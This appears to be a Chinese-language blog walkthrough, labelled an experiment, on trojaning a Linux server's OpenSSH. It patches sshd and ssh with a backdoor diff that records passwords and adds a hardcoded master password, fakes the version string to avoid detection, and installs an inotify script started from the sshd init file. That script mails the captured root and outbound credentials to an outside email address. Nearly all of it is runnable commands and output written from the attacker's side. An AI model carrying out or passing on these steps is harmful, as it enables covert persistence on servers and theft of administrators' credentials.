自动劫持root密码并转发密码到邮箱
一:实验内容
自动劫持root密码并转发密码到邮箱
二:劫持root密码的过程:
过程1:如上图所示。黑客登录到sshd服务系统之后会用木马补丁文件将原来的sshd服务替换掉,并且留下后门密码,此后门密码还可以直接登录系统。
过程2:网络管理员登录到系统之后,所登录的路径已经不是原来真实安全的路径了,是由黑客替换掉的sshd服务和路径。在此登录之后,管理员修改账号密码或者其他操作都会被记录下来,自动发给黑客指定的邮箱。
过程3:有的时候时候网络管理员登录到sshd服务之后还会在此服务器下进行远程登录到其他服务器。在此后门文件中不仅仅会将网络管理员的账号密码给记录下来还会将管理员远程到其他服务器的张慧密码也给记录下来,这样就可以完成一箭双雕的意图了。
三:实验步骤
分析:想要劫持到root密码,那么首先就要可以登录到目标服务器上,就用到了之前暴力破解的方法了,获取其root密码,登录之后,进行偷梁换柱,留下后门。此服务器的管理员登录系统,所登录的进程是你所留下的后门进程。再此,管理员如果跟换密码,后门就会将跟换的密码以邮件的方式发给你。
上传0x06-openssh-5.9p1.patch.tar.gz和openssh-5.9p1.tar.gz 到/tmp目录
0x06-openssh-5.9p1.patch.tar.gz #就是木马文件
openssh-5.9p1.tar.gz #是sshd服务的真实服务
------------------------------------------------------------------
查看ssh gcc 服务的版本与安装软件
1:查看版本
[[email protected]yu63 tmp]# ssh -v #查看安装前ssh版本
OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
[[email protected]yu63 tmp]# gcc -v #确认安装gcc
gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC)
分析:黑客在黑掉服务器之后,肯定是想要长久让此服务器成为他的“肉鸡”,因此就要做到隐蔽性,任何可能不不能给管理员发现,所以黑客登录系统之后会此案查看此服务器的版本与自己的木马服务器的版本是否想符合,不符合就要修改木马文件。
2:解压文件
[[email protected]yu63 tmp]# tar zxvf openssh-5.9p1.tar.gz
[[email protected]yu63 tmp]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz
分析:openssh-5.9p1 是真实的sshd服务解压文件,openssh-5.9p1.patch 是sshd服务的补丁文件,此文件中包含木马文件,实验的思路就是将openssh-5.9p1.patch补丁木马文件替换openssh-5.9p1真实服务。
------------------------------------------------------------------
替换openssh-5.9p1
1)安装openssh-5.9p1并打补丁:
[[email protected]yu63 tmp]# cd openssh-5.9p1.patch/ #进入到木马文件
[[email protected]yu63 openssh-5.9p1.patch]# cp sshbd5.9p1.diff ../openssh-5.9p1 #将木马补丁文件放进真实文件中[[email protected]yu63 openssh-5.9p1.patch]# cd ../openssh-5.9p1 #进入到真实文件中
[[email protected]yu63 openssh-5.9p1]# patch < sshbd5.9p1.diff #将拷贝过来的木马补丁文件进行执行,打补丁,
打补丁就是修改或者替换原来的文件
patching file auth.c #认证 ---会将认证内容替换掉
patching file auth-pam.c #认证 ---会将认证内容替换掉
patching file auth-passwd.c #认证 ---会将认证内容替换掉
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c #关于sshd服务端 替换掉
patching file sshconnect2.c #关于sshd连接 替换掉
patching file sshlogin.c #关于登录,把root密码记录下来,这里就是后门
patching file version.h #关于版本 替换版本信息
2)修改后门密码和记录root密码的文件夹目录
[[email protected]yu63 openssh-5.9p1]# vim /tmp/openssh-5.9p1/includes.h
找到:
#define ILOG "/tmp/ilog" //劫持并记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" //劫持并记录从本机登录到其他服务器上的用户名和密码
#define SECRETPW "apaajaboleh" //你后门密码
改为:
#define ILOG "/usr/share/ifile"
#define OLOG "/usr/share/ofile"
#define SECRETPW "genal"
分析:后门密码指的是你留下的一个登录密码,即使管理员将登录密码修改了,你依然可以用后门密码来登录系统。
------------------------------------------------------------------
说明: 修改版本号
安装后的版本为:
[[email protected]yu63 ~]# ssh -v
OpenSSH_5.8p1 Debian-1ubuntu3p1, OpenSSL 1.0.0-fips 29 Mar 2010
原来系统的版本:
[[email protected]yu63 ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
为了使用安后的版本和原系统的版本一样,修改版本号:
[[email protected]yu63 ~]# vim /tmp/openssh-5.9p1/version.h
改:
3 #define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3"
5 #define SSH_PORTABLE "p1"
为:
#define SSH_VERSION " OpenSSH_5.3"
#define SSH_PORTABLE "p1"
------------------------------------------------------------------
对替换掉过来的木马软件进行安装
1:)安装环境:
[[email protected]yu63 tmp]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel
2)开始安装:
[[email protected]yu63 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 查看编译环境
--prefix=/usr #指定安装到/usr 目录下
--sysconfdir=/etc/ssh #指定sshd服务配置文件目录
--with-pam #指定支持pam认证
--with-kerberos5 #指定支持kerberos认证
3)编译安装后门:
[[email protected]yu63 openssh-5.9p1]# make -j 4 #编译
[[email protected]yu63 openssh-5.9p1]# make install #安装
/usr/bin/install -c -m 0755 -s ssh /usr/bin/ssh #将之前的ssh命令换掉
/usr/bin/install -c -m 0755 -s scp /usr/bin/scp #将之前的scp命令换掉
........
rm -f /usr/bin/slogin #删除了之前的log
ln -s ./ssh /usr/bin/slogin
rm -f /usr/share/man/man1/slogin.1
ln -s ./ssh.1 /usr/share/man/man1/slogin.1
/etc/ssh/ssh_config already exists, install will not overwrite #对于之前的配置文件不进行改变
/etc/ssh/sshd_config already exists, install will not overwrite #对于之前的配置文件不进行改变
........
4)重启ssh:
[[email protected]yu63 openssh-5.9p1]# service sshd restart
注:这里用木马文件中的sshd相关文件替换掉sshd的真实服务。
------------------------------------------------------------------
测试
测试1:远程连接
1)测试前,先查看一下:/usr/share/ifile
[[email protected]yu63 ~]# ls /usr/share/ifile
ls: cannot access /usr/share/ifile: No such file or directory #在没有远程登录系统的时候是没有记录的
2)使用yu64客户端远程登录yu63
3)再次查看:
测试2:修改root密码:
1)修改root密码
[email protected]yu63 ~]# passwd
Changing password for user root.
New password: 456789
2)远程连接yu63
2)查看
测试3:当忘记劫持到的密码时,使用后门密码来登录系统
另外我们也可以使用后门密码来登录root帐号:
查看:
[[email protected]yu63 tmp]# cat /tmp/ofile
user:[email protected] --> root: genal@192.168.1.63
------------------------------------------------------------------
自动发送邮件:这里以QQ的smtp服务器为例
分析:黑客为了时刻掌握“肉鸡”账户密码信息,会在这里编写一个邮件配置,会将记录的信息自动发发给黑客指定的邮件账户中,这样即使管理员修改掉密码或者账户信息,黑客都会即使的收到管理员所修改的账户和密码信息。
1)Linux下通过外部SMTP发邮件
[[email protected]yu63 ~]# vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容:
set from=1273815479@qq.com smtp=smtp.qq.com
set smtp-auth-user=1273815479 smtp-auth-password=******** smtp-auth=login
注:
set from=1273815479@qq.com #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。
set smtp-auth-user=1273815479 #写自己发件人的邮箱帐号
smtp-auth-password=********#写自己发件人的邮箱密码
2)配置QQ邮箱,开启pop3/smtp服务
测试:
[[email protected]yu63 ~]# mail -s "demo title" [email protected] < /usr/share/ifile
#将劫持的文件发到我的邮箱中
------------------------------------------------------------------
实现自动将劫持密码发送到邮箱
1)安装inotify:
[[email protected]yu63 ~]# tar -zxvf inotify-tools-3.13.tar.gz
[[email protected]yu63 ~]# cd inotify-tools-3.13
[[email protected]yu63 inotify-tools-3.13]# ./configure检查安装环境
[[email protected]yu63 inotify-tools-3.13]# make -j 4#make编译,将源代码编译成二进制,可执行的文件
[[email protected]yu63 inotify-tools-3.13]# make install # 安装
2)编写触发式自动发邮件脚本
[[email protected]yu63 ~]# cat /bin/zipmail
#!/bin/bash
/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile | while read a b c
do
ip=`ifconfig |grep inet| sed -n ‘1p‘|awk ‘{print $2}‘|awk -F ‘:‘ ‘{print $2}‘`
mail -s $ip 3544884942@qq.com < /usr/share/ifile
done
3)设置开机启动zipmail脚本:
[[email protected]yu63 ~]# vim /etc/init.d/sshd #在此文件的最后“exit $RETVAL” 前插入:
/bin/zipmail &
exit $RETVAL
[[email protected]yu63 ~]# echo aaaaa < /usr/share/ifile
测试:
[[email protected]yu63 ~]# service sshd restart